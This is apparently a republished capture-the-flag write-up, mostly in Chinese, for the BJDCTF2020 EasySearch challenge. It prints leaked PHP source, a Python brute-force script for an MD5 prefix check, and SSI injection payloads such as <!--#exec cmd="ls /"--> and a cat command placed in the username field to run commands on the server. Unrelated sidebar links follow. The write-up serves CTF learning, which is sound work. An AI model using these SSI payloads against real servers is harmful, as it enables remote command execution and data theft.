当前位置:网站首页>[BJDCTF2020] EasySearch
[BJDCTF2020] EasySearch
2022-08-05 04:00:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,A weak password was tried 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
Just the passwordmd5值的前6位为6d0bc1即可登陆成功
See the cracking password script:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#Get summary value
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break

得到密码为 2020666
接着看到shtml页面
SSIinject reference:SSI注入
One is generated in the codeshtml页面,Unable to view after login,Capture packets and observe returned packets:
访问该页面:
Get login information
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行.
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
First probe the root directory:<!--#exec cmd="ls /"-->

根目录没有,Then view the current directory:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- DEJA_VU3D - Cesium功能集 之 058-高德地图纠偏
- 数据库设计的酸(ACID)碱(BASE)原则
- Dameng 8 database export and import
- 四位数显表头设计
- 七夕节代码表白
- bytebuffer 内部结构
- How to find all fields with empty data in sql
- Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
- 【树莓派】树莓派调光
- leetcode-每日一题1403. 非递增顺序的最小子序列(贪心)
猜你喜欢

UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)

token, jwt, oauth2, session parsing

程序开发的一些常规套路(一)

In the WebView page of the UI automation test App, the processing method when the search bar has no search button
![[Software testing] unittest framework for automated testing](/img/80/caedd5cf6dd61c9d75475866613cac.png)
[Software testing] unittest framework for automated testing

今年七夕,「情蔬」比礼物更有爱

Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..

The test salary is so high?20K just graduated

Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"
![[Geek Challenge 2019]FinalSQL](/img/e4/0c8225ef7c5e7e5bdbaac2ef6fc867.png)
[Geek Challenge 2019]FinalSQL
随机推荐
SkiaSharp 之 WPF 自绘 粒子花园(案例版)
冰蝎V4.0攻击来袭,安全狗产品可全面检测
[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters
Industry Status?Why do Internet companies prefer to spend 20k to recruit people rather than raise their salary to retain old employees~
What is the difference between SAP ERP and ORACLE ERP?
public static
List asList(T... a) What is the prototype? 10 years of testing experience, worthless in the face of the biological age of 35
This year's Qixi Festival, "love vegetables" are more loving than gifts
七夕节代码表白
GC Gaode coordinate and Baidu coordinate conversion
阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
Package zip is not available, but is referred to by another package.
How to discover a valuable GameFi?
MRTK3 develops Hololens application - gesture drag, rotate, zoom object implementation
【树莓派】树莓派调光
银行数据采集,数据补录与指标管理3大问题如何解决?
Defect detection (image processing part)
cross domain solution
UE4 opens door via interaction (keyboard key)
Android Practical Development - Kotlin Tutorial (Introduction - Login Function Implementation 3.3)